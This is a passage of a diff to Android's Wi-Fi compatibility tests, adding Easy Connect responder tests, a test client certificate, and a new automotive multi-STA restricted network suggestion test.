+            // Followed by a new onStart() after the connection.
+            // Note: There is a 5 second delay between stop/start when restartWifiSubsystem() is
+            // invoked, so this should not be racy.
+            countDownLatchScorer = new CountDownLatch(1);
+            connectedNetworkScorer.resetCountDownLatch(countDownLatchScorer);
+            assertThat(countDownLatchScorer.await(DURATION, TimeUnit.MILLISECONDS)).isTrue();
+            assertThat(connectedNetworkScorer.startSessionId).isNotEqualTo(prevSessionId);
+
+            // Ensure that we did not get a new score update observer.
+            assertThat(connectedNetworkScorer.scoreUpdateObserver).isSameInstanceAs(
+                    prevScoreUpdateObserver);
+        } finally {
+            mWifiManager.clearWifiConnectedNetworkScorer();
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
 }
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/EasyConnectStatusCallbackTest.java b/tests/tests/wifi/src/android/net/wifi/cts/EasyConnectStatusCallbackTest.java
index 07256a3..83e86d4 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/EasyConnectStatusCallbackTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/EasyConnectStatusCallbackTest.java
@@ -18,13 +18,16 @@
 
 import static android.net.wifi.EasyConnectStatusCallback.EASY_CONNECT_EVENT_FAILURE_TIMEOUT;
 import static android.net.wifi.WifiConfiguration.SECURITY_TYPE_PSK;
+import static android.net.wifi.WifiManager.EASY_CONNECT_CRYPTOGRAPHY_CURVE_DEFAULT;
 import static android.net.wifi.WifiManager.EASY_CONNECT_NETWORK_ROLE_STA;
 
+import android.annotation.NonNull;
 import android.app.UiAutomation;
 import android.content.Context;
 import android.net.wifi.EasyConnectStatusCallback;
 import android.net.wifi.WifiConfiguration;
 import android.net.wifi.WifiManager;
+import android.os.Build;
 import android.os.Handler;
 import android.os.HandlerExecutor;
 import android.os.HandlerThread;
@@ -34,19 +37,25 @@
 import android.util.SparseArray;
 import androidx.test.platform.app.InstrumentationRegistry;
 
+import com.android.compatibility.common.util.PropertyUtil;
+
 import java.util.concurrent.Executor;
 
 @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
 @SmallTest
+@VirtualDeviceNotSupported
 public class EasyConnectStatusCallbackTest extends WifiJUnit3TestBase {
     private static final String TEST_SSID = "\"testSsid\"";
     private static final String TEST_PASSPHRASE = "\"testPassword\"";
-    private static final int TEST_WAIT_DURATION_MS = 12_000; // Long delay is necessary, see below
+    private static final int TEST_WAIT_DURATION_MS = 18_000; // Long delay is necessary, see below
     private WifiManager mWifiManager;
     private static final String TEST_DPP_URI =
             "DPP:C:81/1,117/40;I:Easy_Connect_Demo;M:000102030405;"
                     + "K:MDkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDIgACDmtXD1Sz6/5B4YRdmTkbkkFLDwk8f0yRnfm1Go"
                     + "kpx/0=;;";
+    private static final String TEST_DEVICE_INFO = "DPP_RESPONDER_TESTER";
+    // As per spec semicolon is not allowed in device info
+    private static final String TEST_WRONG_DEVICE_INFO = "DPP_;RESPONDER_TESTER";
     private final HandlerThread mHandlerThread = new HandlerThread("EasyConnectTest");
     protected final Executor mExecutor;
     {
@@ -55,6 +64,7 @@
     }
     private final Object mLock = new Object();
     private boolean mOnFailureCallback = false;
+    private boolean mOnBootstrapUriGeneratedCallback = false;
     private int mErrorCode;
 
     @Override
@@ -98,6 +108,7 @@
             }
         }
 
+        @Override
         public void onFailure(int code, String ssid, SparseArray<int[]> channelListArray,
                 int[] operatingClassArray) {
             synchronized (mLock) {
@@ -106,6 +117,15 @@
                 mLock.notify();
             }
         }
+
+        @Override
+        public void onBootstrapUriGenerated(@NonNull String uri) {
+            synchronized (mLock) {
+                mOnBootstrapUriGeneratedCallback = true;
+                mLock.notify();
+            }
+
+        }
     };
 
     /**
@@ -179,4 +199,72 @@
             uiAutomation.dropShellPermissionIdentity();
         }
     }
+
+    /**
+     * Tests {@link android.net.wifi.EasyConnectStatusCallback#onBootstrapUriGenerated} callback.
+     *
+     * Since Easy Connect requires 2 devices, start Easy Connect responder session and expect a
+     * DPP URI
+     */
+    public void testEnrolleeResponderUriGeneration() throws Exception {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+        if (!mWifiManager.isEasyConnectSupported()) {
+            // skip the test if Easy Connect is not supported
+            return;
+        }
+        if (!PropertyUtil.isVndkApiLevelNewerThan(Build.VERSION_CODES.S)) {
+            return;
+        }
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+            synchronized (mLock) {
+                mWifiManager.startEasyConnectAsEnrolleeResponder(TEST_DEVICE_INFO,
+                        EASY_CONNECT_CRYPTOGRAPHY_CURVE_DEFAULT, mExecutor,
+                        mEasyConnectStatusCallback);
+                // Wait for supplicant to generate DPP URI and trigger the callback function to
+                // provide the generated URI.
+                mLock.wait(TEST_WAIT_DURATION_MS);
+            }
+            assertTrue(mOnBootstrapUriGeneratedCallback);
+            mWifiManager.stopEasyConnectSession();
+        } finally {
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    /**
+     * Test that {@link WifiManager#startEasyConnectAsEnrolleeResponder(String, int, Executor,
+     * EasyConnectStatusCallback)} throws illegal argument exception on passing a wrong device
+     * info.
+     *
+     */
+    public void
+           testStartEasyConnectAsEnrolleeResponderThrowsIllegalArgumentExceptionOnWrongDeviceInfo()
+           throws Exception {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+        if (!mWifiManager.isEasyConnectSupported()) {
+            // skip the test if Easy Connect is not supported
+            return;
+        }
+        if (!PropertyUtil.isVndkApiLevelNewerThan(Build.VERSION_CODES.S)) {
+            return;
+        }
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+            mWifiManager.startEasyConnectAsEnrolleeResponder(TEST_WRONG_DEVICE_INFO,
+                    EASY_CONNECT_CRYPTOGRAPHY_CURVE_DEFAULT, mExecutor,
+                    mEasyConnectStatusCallback);
+            fail("startEasyConnectAsEnrolleeResponder did not throw an IllegalArgumentException"
+                    + "on passing a wrong device info!");
+        } catch (IllegalArgumentException expected) {}
+        uiAutomation.dropShellPermissionIdentity();
+    }
 }
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/FakeKeys.java b/tests/tests/wifi/src/android/net/wifi/cts/FakeKeys.java
index f875301..2c0496a 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/FakeKeys.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/FakeKeys.java
@@ -234,6 +234,35 @@
     };
     public static final PrivateKey RSA_KEY1 = loadPrivateRSAKey(FAKE_RSA_KEY_1);
 
+    private static final String CLIENT_SUITE_B_RSA3072_CERT_STRING =
+            "-----BEGIN CERTIFICATE-----\n"
+                    + "MIIERzCCAq8CFDopjyNgaj+c2TN2k06h7okEWpHJMA0GCSqGSIb3DQEBDAUAMF4x\n"
+                    + "CzAJBgNVBAYTAlVTMQswCQYDVQQIDAJDQTEMMAoGA1UEBwwDTVRWMRAwDgYDVQQK\n"
+                    + "DAdBbmRyb2lkMQ4wDAYDVQQLDAVXaS1GaTESMBAGA1UEAwwJdW5pdGVzdENBMB4X\n"
+                    + "DTIwMDcyMTAyMjkxMVoXDTMwMDUzMDAyMjkxMVowYjELMAkGA1UEBhMCVVMxCzAJ\n"
+                    + "BgNVBAgMAkNBMQwwCgYDVQQHDANNVFYxEDAOBgNVBAoMB0FuZHJvaWQxDjAMBgNV\n"
+                    + "BAsMBVdpLUZpMRYwFAYDVQQDDA11bml0ZXN0Q2xpZW50MIIBojANBgkqhkiG9w0B\n"
+                    + "AQEFAAOCAY8AMIIBigKCAYEAwSK3C5K5udtCKTnE14e8z2cZvwmB4Xe+a8+7QLud\n"
+                    + "Hooc/lQzClgK4MbVUC0D3FE+U32C78SxKoTaRWtvPmNm+UaFT8KkwyUno/dv+2XD\n"
+                    + "pd/zARQ+3FwAfWopAhEyCVSxwsCa+slQ4juRIMIuUC1Mm0NaptZyM3Tj/ICQEfpk\n"
+                    + "o9qVIbiK6eoJMTkY8EWfAn7RTFdfR1OLuO0mVOjgLW9/+upYv6hZ19nAMAxw4QTJ\n"
+                    + "x7lLwALX7B+tDYNEZHDqYL2zyvQWAj2HClere8QYILxkvktgBg2crEJJe4XbDH7L\n"
+                    + "A3rrXmsiqf1ZbfFFEzK9NFqovL+qGh+zIP+588ShJFO9H/RDnDpiTnAFTWXQdTwg\n"
+                    + "szSS0Vw2PB+JqEABAa9DeMvXT1Oy+NY3ItPHyy63nQZVI2rXANw4NhwS0Z6DF+Qs\n"
+                    + "TNrj+GU7e4SG/EGR8SvldjYfQTWFLg1l/UT1hOOkQZwdsaW1zgKyeuiFB2KdMmbA\n"
+                    + "Sq+Ux1L1KICo0IglwWcB/8nnAgMBAAEwDQYJKoZIhvcNAQEMBQADggGBAMYwJkNw\n"
+                    + "BaCviKFmReDTMwWPRy4AMNViEeqAXgERwDEKwM7efjsaj5gctWfKsxX6UdLzkhgg\n"
+                    + "6S/T6PxVWKzJ6l7SoOuTa6tMQOZp+h3R1mdfEQbw8B5cXBxZ+batzAai6Fiy1FKS\n"
+                    + "/ka3INbcGfYuIYghfTrb4/NJKN06ZaQ1bpPwq0e4gN7800T2nbawvSf7r+8ZLcG3\n"
+                    + "6bGCjRMwDSIipNvOwoj3TG315XC7TccX5difQ4sKOY+d2MkVJ3RiO0Ciw2ZbEW8d\n"
+                    + "1FH5vUQJWnBUfSFznosGzLwH3iWfqlP+27jNE+qB2igEwCRFgVAouURx5ou43xuX\n"
+                    + "qf6JkdI3HTJGLIWxkp7gOeln4dEaYzKjYw+P0VqJvKVqQ0IXiLjHgE0J9p0vgyD6\n"
+                    + "HVVcP7U8RgqrbIjL1QgHU4KBhGi+WSUh/mRplUCNvHgcYdcHi/gHpj/j6ubwqIGV\n"
+                    + "z4iSolAHYTmBWcLyE0NgpzE6ntp+53r2KaUJA99l2iGVzbWTwqPSm0XAVw==\n"
+                    + "-----END CERTIFICATE-----\n";
+    public static final X509Certificate CLIENT_SUITE_B_RSA3072_CERT =
+            loadCertificate(CLIENT_SUITE_B_RSA3072_CERT_STRING);
+
     private static X509Certificate loadCertificate(String blob) {
         try {
             final CertificateFactory certFactory = CertificateFactory.getInstance("X.509");
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyRestrictedWifiNetworkSuggestionTest.java b/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyRestrictedWifiNetworkSuggestionTest.java
new file mode 100644
index 0000000..7f1765b
--- /dev/null
+++ b/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyRestrictedWifiNetworkSuggestionTest.java
@@ -0,0 +1,608 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.wifi.cts;
+
+import static android.net.NetworkCapabilities.NET_CAPABILITY_OEM_PAID;
+import static android.net.NetworkCapabilities.NET_CAPABILITY_OEM_PRIVATE;
+import static android.net.NetworkCapabilities.NET_CAPABILITY_INTERNET;
+import static android.net.NetworkCapabilities.TRANSPORT_WIFI;
+import static android.os.Process.myUid;
+
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import android.annotation.NonNull;
+import android.app.UiAutomation;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.location.LocationManager;
+import android.net.ConnectivityManager;
+import android.net.LinkProperties;
+import android.net.MacAddress;
+import android.net.Network;
+import android.net.NetworkCapabilities;
+import android.net.NetworkRequest;
+import android.net.wifi.ScanResult;
+import android.net.wifi.WifiConfiguration;
+import android.net.wifi.WifiInfo;
+import android.net.wifi.WifiManager;
+import android.net.wifi.WifiNetworkSuggestion;
+import android.os.WorkSource;
+import android.platform.test.annotations.AppModeFull;
+import android.support.test.uiautomator.UiDevice;
+import android.text.TextUtils;
+import android.util.Log;
+
+import androidx.test.filters.SdkSuppress;
+import androidx.test.filters.SmallTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.ShellIdentityUtils;
+import com.android.compatibility.common.util.SystemUtil;
+
+
+import org.junit.After;
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.Comparator;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executors;
+import java.util.concurrent.ScheduledExecutorService;
+import java.util.concurrent.TimeUnit;
+import java.util.stream.Collectors;
+
+/**
+ * Tests multiple concurrent connection flow on devices that support multi STA concurrency
+ * (indicated via {@link WifiManager#isMultiStaConcurrencySupported()}.
+ *
+ * Tests the entire connection flow using {@link WifiNetworkSuggestion} which has
+ * {@link WifiNetworkSuggestion.Builder#setOemPaid(boolean)} or
+ * {@link WifiNetworkSuggestion.Builder#setOemPrivate(boolean)} set along with a concurrent internet
+ * connection using {@link WifiManager#connect(int, WifiManager.ActionListener)}.
+ *
+ * Note: This feature is only applicable on automotive platforms. So, the test is skipped for
+ * non-automotive platforms.
+ *
+ * Assumes that all the saved networks is either open/WPA1/WPA2/WPA3 authenticated network.
+ *
+ * TODO(b/177591382): Refactor some of the utilities to a separate file that are copied over from
+ * WifiManagerTest & WifiNetworkSpecifierTest.
+ *
+ * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+ */
+@SdkSuppress(minSdkVersion = 31, codeName = "S")
+@AppModeFull(reason = "Cannot get WifiManager in instant app mode")
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class MultiStaConcurrencyRestrictedWifiNetworkSuggestionTest extends WifiJUnit4TestBase {
+    private static final String TAG = "MultiStaConcurrencyRestrictedWifiNetworkSuggestionTest";
+    private static boolean sWasVerboseLoggingEnabled;
+    private static boolean sWasScanThrottleEnabled;
+    private static boolean sWasWifiEnabled;
+
+    private Context mContext;
+    private WifiManager mWifiManager;
+    private ConnectivityManager mConnectivityManager;
+    private UiDevice mUiDevice;
+    private WifiConfiguration mTestNetworkForRestrictedConnection;
+    private WifiConfiguration mTestNetworkForInternetConnection;
+    private TestNetworkCallback mNetworkCallback;
+    private TestNetworkCallback mNsNetworkCallback;
+    private ScheduledExecutorService mExecutorService;
+
+    private static final int DURATION_MILLIS = 10_000;
+    private static final int DURATION_NETWORK_CONNECTION_MILLIS = 60_000;
+    private static final int DURATION_SCREEN_TOGGLE_MILLIS = 2000;
+    private static final int SCAN_RETRY_CNT_TO_FIND_MATCHING_BSSID = 3;
+
+    private static boolean hasAutomotiveFeature(Context ctx) {
+        return ctx.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+    }
+
+    @BeforeClass
+    public static void setUpClass() throws Exception {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        // skip the test if WiFi is not supported or not automotive platform.
+        // Don't use assumeTrue in @BeforeClass
+        if (!WifiFeature.isWifiSupported(context) || !hasAutomotiveFeature(context)) return;
+
+        WifiManager wifiManager = context.getSystemService(WifiManager.class);
+        assertThat(wifiManager).isNotNull();
+
+        // turn on verbose logging for tests
+        sWasVerboseLoggingEnabled = ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.isVerboseLoggingEnabled());
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.setVerboseLoggingEnabled(true));
+        // Disable scan throttling for tests.
+        sWasScanThrottleEnabled = ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.isScanThrottleEnabled());
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.setScanThrottleEnabled(false));
+
+        // enable Wifi
+        sWasWifiEnabled = ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.isWifiEnabled());
+        if (!wifiManager.isWifiEnabled()) setWifiEnabled(true);
+        PollingCheck.check("Wifi not enabled", DURATION_MILLIS, () -> wifiManager.isWifiEnabled());
+    }
+
+    @AfterClass
+    public static void tearDownClass() throws Exception {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        if (!WifiFeature.isWifiSupported(context) || !hasAutomotiveFeature(context)) return;
+
+        WifiManager wifiManager = context.getSystemService(WifiManager.class);
+        assertThat(wifiManager).isNotNull();
+
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.setScanThrottleEnabled(sWasScanThrottleEnabled));
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.setVerboseLoggingEnabled(sWasVerboseLoggingEnabled));
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.setWifiEnabled(sWasWifiEnabled));
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getInstrumentation().getContext();
+        mWifiManager = mContext.getSystemService(WifiManager.class);
+        mConnectivityManager = mContext.getSystemService(ConnectivityManager.class);
+        mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        mExecutorService = Executors.newSingleThreadScheduledExecutor();
+
+        // skip the test if WiFi is not supported or not automitve platform.
+        assumeTrue(WifiFeature.isWifiSupported(mContext));
+        assumeTrue(hasAutomotiveFeature(mContext));
+        // skip the test if location is not supported
+        assumeTrue(mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LOCATION));
+        // skip if multi STA not supported.
+        assumeTrue(mWifiManager.isMultiStaConcurrencySupported());
+
+        assertWithMessage("Please enable location for this test!").that(
+                mContext.getSystemService(LocationManager.class).isLocationEnabled()).isTrue();
+
+        // turn screen on
+        turnScreenOn();
+
+        // Clear any existing app state before each test.
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> mWifiManager.removeAppState(myUid(), mContext.getPackageName()));
+
+        // We need 2 AP's for the test. If there are 2 networks saved on the device and in range,
+        // use those. Otherwise, check if there are 2 BSSID's in range for the only saved network.
+        // This assumes a CTS test environment with at least 2 connectable bssid's (Is that ok?).
+        List<WifiConfiguration> savedNetworks = ShellIdentityUtils.invokeWithShellPermissions(
+                () -> mWifiManager.getPrivilegedConfiguredNetworks());
+        List<WifiConfiguration> matchingNetworksWithBssid =
+                findMatchingSavedNetworksWithBssid(mWifiManager, savedNetworks);
+        assertWithMessage("Need at least 2 saved network bssids in range").that(
+                matchingNetworksWithBssid.size()).isAtLeast(2);
+        // Pick any 2 bssid for test.
+        mTestNetworkForRestrictedConnection = matchingNetworksWithBssid.get(0);
+        // Try to find a bssid for another saved network in range. If none exists, fallback
+        // to using 2 bssid's for the same network.
+        mTestNetworkForInternetConnection = matchingNetworksWithBssid.stream()
+                .filter(w -> !w.SSID.equals(mTestNetworkForRestrictedConnection.SSID))
+                .findAny()
+                .orElse(matchingNetworksWithBssid.get(1));
+
+        // Disconnect & disable auto-join on the saved network to prevent auto-connect from
+        // interfering with the test.
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> {
+                    for (WifiConfiguration savedNetwork : savedNetworks) {
+                        mWifiManager.disableNetwork(savedNetwork.networkId);
+                    }
+                    mWifiManager.disconnect();
+                });
+
+        // Wait for Wifi to be disconnected.
+        PollingCheck.check(
+                "Wifi not disconnected",
+                20_000,
+                () -> mWifiManager.getConnectionInfo().getNetworkId() == -1);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        // Re-enable networks.
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> {
+                    for (WifiConfiguration savedNetwork : mWifiManager.getConfiguredNetworks()) {
+                        mWifiManager.enableNetwork(savedNetwork.networkId, false);
+                    }
+                });
+        // Release the requests after the test.
+        if (mNetworkCallback != null) {
+            mConnectivityManager.unregisterNetworkCallback(mNetworkCallback);
+        }
+        if (mNsNetworkCallback != null) {
+            mConnectivityManager.unregisterNetworkCallback(mNsNetworkCallback);
+        }
+        mExecutorService.shutdownNow();
+        // Clear any existing app state after each test.
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> mWifiManager.removeAppState(myUid(), mContext.getPackageName()));
+        turnScreenOff();
+    }
+
+    private static void setWifiEnabled(boolean enable) throws Exception {
+        // now trigger the change using shell commands.
+        SystemUtil.runShellCommand("svc wifi " + (enable ? "enable" : "disable"));
+    }
+
+    private void turnScreenOn() throws Exception {
+        mUiDevice.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        mUiDevice.executeShellCommand("wm dismiss-keyguard");
+        // Since the screen on/off intent is ordered, they will not be sent right now.
+        Thread.sleep(DURATION_SCREEN_TOGGLE_MILLIS);
+    }
+
+    private void turnScreenOff() throws Exception {
+        mUiDevice.executeShellCommand("input keyevent KEYCODE_SLEEP");
+        // Since the screen on/off intent is ordered, they will not be sent right now.
+        Thread.sleep(DURATION_SCREEN_TOGGLE_MILLIS);
+    }
+
+    private static class TestScanResultsCallback extends WifiManager.ScanResultsCallback {
+        private final CountDownLatch mCountDownLatch;
+        public boolean onAvailableCalled = false;
+
+        TestScanResultsCallback(CountDownLatch countDownLatch) {
+            mCountDownLatch = countDownLatch;
+        }
+
+        @Override
+        public void onScanResultsAvailable() {
+            onAvailableCalled = true;
+            mCountDownLatch.countDown();
+        }
+    }
+
+    /**
+     * Loops through all the saved networks available in the scan results. Returns a list of
+     * WifiConfiguration with the matching bssid filled in {@link WifiConfiguration#BSSID}.
+     *
+     * Note:
+     * a) If there are more than 2 networks with the same SSID, but different credential type, then
+     * this matching may pick the wrong one.
+     */
+    private static List<WifiConfiguration> findMatchingSavedNetworksWithBssid(
+            @NonNull WifiManager wifiManager, @NonNull List<WifiConfiguration> savedNetworks) {
+        if (savedNetworks.isEmpty()) return Collections.emptyList();
+        List<WifiConfiguration> matchingNetworksWithBssids = new ArrayList<>();
+        CountDownLatch countDownLatch = new CountDownLatch(1);
+        for (int i = 0; i < SCAN_RETRY_CNT_TO_FIND_MATCHING_BSSID; i++) {
+            // Trigger a scan to get fresh scan results.
+            TestScanResultsCallback scanResultsCallback =
+                    new TestScanResultsCallback(countDownLatch);
+            try {
+                wifiManager.registerScanResultsCallback(
+                        Executors.newSingleThreadExecutor(), scanResultsCallback);
+                wifiManager.startScan(new WorkSource(myUid()));
+                // now wait for callback
+                assertThat(countDownLatch.await(
+                        DURATION_NETWORK_CONNECTION_MILLIS, TimeUnit.MILLISECONDS)).isTrue();
+            } catch (InterruptedException e) {
+            } finally {
+                wifiManager.unregisterScanResultsCallback(scanResultsCallback);
+            }
+            List<ScanResult> scanResults = wifiManager.getScanResults();
+            if (scanResults == null || scanResults.isEmpty()) fail("No scan results available");
+            for (ScanResult scanResult : scanResults) {
+                WifiConfiguration matchingNetwork = savedNetworks.stream()
+                        .filter(network -> TextUtils.equals(
+                                scanResult.SSID, removeDoubleQuotes(network.SSID)))
+                        .findAny()
+                        .orElse(null);
+                if (matchingNetwork != null) {
+                    // make a copy in case we have 2 bssid's for the same network.
+                    WifiConfiguration matchingNetworkCopy = new WifiConfiguration(matchingNetwork);
+                    matchingNetworkCopy.BSSID = scanResult.BSSID;
+                    matchingNetworksWithBssids.add(matchingNetworkCopy);
+                }
+            }
+            if (!matchingNetworksWithBssids.isEmpty()) break;
+        }
+        return matchingNetworksWithBssids;
+    }
+
+    private void assertConnectionEquals(@NonNull WifiConfiguration network,
+            @NonNull WifiInfo wifiInfo) {
+        assertThat(network.SSID).isEqualTo(wifiInfo.getSSID());
+        assertThat(network.BSSID).isEqualTo(wifiInfo.getBSSID());
+    }
+
+    private static class TestNetworkCallback extends ConnectivityManager.NetworkCallback {
+        private final CountDownLatch mCountDownLatch;
+        public boolean onAvailableCalled = false;
+        public boolean onUnavailableCalled = false;
+        public NetworkCapabilities networkCapabilities;
+
+        TestNetworkCallback(CountDownLatch countDownLatch) {
+            mCountDownLatch = countDownLatch;
+        }
+
+        @Override
+        public void onAvailable(Network network, NetworkCapabilities networkCapabilities,
+                LinkProperties linkProperties, boolean blocked) {
+            onAvailableCalled = true;
+            this.networkCapabilities = networkCapabilities;
+            mCountDownLatch.countDown();
+        }
+
+        @Override
+        public void onUnavailable() {
+            onUnavailableCalled = true;
+            mCountDownLatch.countDown();
+        }
+    }
+
+    /**
+     * Tests the entire connection flow using the provided suggestion.
+     */
+    private void testConnectionFlowWithRestrictedSuggestion(
+            WifiConfiguration network, WifiNetworkSuggestion suggestion,
+            int restrictedNetworkCapability) {
+        CountDownLatch countDownLatch = new CountDownLatch(1);
+        // File the network request & wait for the callback.
+        mNsNetworkCallback = new TestNetworkCallback(countDownLatch);
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+            // File a request for restricted (oem paid) wifi network.
+            mConnectivityManager.requestNetwork(
+                    new NetworkRequest.Builder()
+                            .addTransportType(TRANSPORT_WIFI)
+                            .addCapability(NET_CAPABILITY_INTERNET)
+                            .addCapability(restrictedNetworkCapability)
+                            .build(),
+                    mNsNetworkCallback);
+            // Add restricted (oem paid) wifi network suggestion.
+            assertThat(mWifiManager.addNetworkSuggestions(Arrays.asList(suggestion)))
+                    .isEqualTo(WifiManager.STATUS_NETWORK_SUGGESTIONS_SUCCESS);
+            // Wait for the request to reach the wifi stack before kick-start periodic scans.
+            Thread.sleep(100);
+            // Step: Trigger scans periodically to trigger network selection quicker.
+            mExecutorService.scheduleAtFixedRate(() -> {
+                if (!mWifiManager.startScan()) {
+                    Log.w(TAG, "Failed to trigger scan");
+                }
+            }, 0, DURATION_MILLIS, TimeUnit.MILLISECONDS);
+            // now wait for connection to complete and wait for callback
+            assertThat(countDownLatch.await(
+                    DURATION_NETWORK_CONNECTION_MILLIS, TimeUnit.MILLISECONDS)).isTrue();
+        } catch (InterruptedException e) {
+        } finally {
+            uiAutomation.dropShellPermissionIdentity();
+        }
+        assertThat(mNsNetworkCallback.onAvailableCalled).isTrue();
+        assertConnectionEquals(
+                network, (WifiInfo) mNsNetworkCallback.networkCapabilities.getTransportInfo());
+    }
+
+    private static String removeDoubleQuotes(String string) {
+        return WifiInfo.sanitizeSsid(string);
+    }
+
+    private static class TestActionListener implements WifiManager.ActionListener {
+        private final CountDownLatch mCountDownLatch;
+        public boolean onSuccessCalled = false;
+        public boolean onFailedCalled = false;
+        public int failureReason = -1;
+
+        TestActionListener(CountDownLatch countDownLatch) {
+            mCountDownLatch = countDownLatch;
+        }
+
+        @Override
+        public void onSuccess() {
+            onSuccessCalled = true;
+            mCountDownLatch.countDown();
+        }
+
+        @Override
+        public void onFailure(int reason) {
+            onFailedCalled = true;
+            mCountDownLatch.countDown();
+        }
+    }
+
+    /**
+     * Triggers connection to one of the saved networks using {@link WifiManager#connect(
+     * WifiConfiguration, WifiManager.ActionListener)}
+     */
+    private void testConnectionFlowWithConnect(@NonNull WifiConfiguration network) {
+        CountDownLatch countDownLatchAl = new CountDownLatch(1);
+        CountDownLatch countDownLatchNr = new CountDownLatch(1);
+        TestActionListener actionListener = new TestActionListener(countDownLatchAl);
+        mNetworkCallback = new TestNetworkCallback(countDownLatchNr);
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+            // File a callback for wifi network.
+            mConnectivityManager.registerNetworkCallback(
+                    new NetworkRequest.Builder()
+                            .addTransportType(TRANSPORT_WIFI)
+                            .addCapability(NET_CAPABILITY_INTERNET)
+                            // don't match oem paid/private networks.
+                            .addUnwantedCapability(NET_CAPABILITY_OEM_PAID)
+                            .addUnwantedCapability(NET_CAPABILITY_OEM_PRIVATE)
+                            .build(),
+                    mNetworkCallback);
+            // Trigger the connection.
+            mWifiManager.connect(network, actionListener);
+            // now wait for action listener callback
+            assertThat(countDownLatchAl.await(
+                    DURATION_NETWORK_CONNECTION_MILLIS, TimeUnit.MILLISECONDS)).isTrue();
+            // check if we got the success callback
+            assertThat(actionListener.onSuccessCalled).isTrue();
+
+            // Wait for connection to complete & ensure we are connected to the saved network.
+            assertThat(countDownLatchNr.await(
+                    DURATION_NETWORK_CONNECTION_MILLIS, TimeUnit.MILLISECONDS)).isTrue();
+            assertThat(mNetworkCallback.onAvailableCalled).isTrue();
+            assertConnectionEquals(
+                    network, (WifiInfo) mNetworkCallback.networkCapabilities.getTransportInfo());
+        } catch (InterruptedException e) {
+        } finally {
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    private static WifiNetworkSuggestion.Builder
+            createSuggestionBuilderWithCredentialFromSavedNetworkWithBssid(
+            @NonNull WifiConfiguration network) {
+        WifiNetworkSuggestion.Builder suggestionBuilder = new WifiNetworkSuggestion.Builder()
+                .setSsid(removeDoubleQuotes(network.SSID))
+                .setBssid(MacAddress.fromString(network.BSSID));
+        if (network.preSharedKey != null) {
+            if (network.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.WPA_PSK)) {
+                suggestionBuilder.setWpa2Passphrase(removeDoubleQuotes(network.preSharedKey));
+            } else if (network.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.SAE)) {
+                suggestionBuilder.setWpa3Passphrase(removeDoubleQuotes(network.preSharedKey));
